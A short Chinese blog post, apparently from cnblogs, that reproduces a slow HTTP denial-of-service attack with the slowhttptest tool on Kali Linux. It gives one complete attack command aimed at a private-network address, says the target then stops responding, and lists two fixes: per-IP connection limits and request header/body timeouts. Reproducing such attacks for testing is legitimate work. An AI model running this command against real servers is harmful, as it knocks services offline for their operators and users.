慢速HTTP拒接服务攻击（DoS）复现

标签：com   超时   连接数   ima   targe   bsp   blog   slow   html   

kali linux下有个神奇的工具叫“slowhttptest”

　　命令：slowhttptest -c 1000 -H -g -o slowhttp -i 10 -r 200 -t GET -u http://10.210.6.69:8081/nmc -x 24 -p 　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　

　　在进行慢速DOS攻击期间打开相应页面服务器会响应缓慢或直接无法响应：

修补的方案：

1、限制单机ip的连接数。

2、限制http request header/body 的超时时间

慢速HTTP拒接服务攻击（DoS）复现

标签：com   超时   连接数   ima   targe   bsp   blog   slow   html   

原文地址：http://www.cnblogs.com/xishaonian/p/7192581.html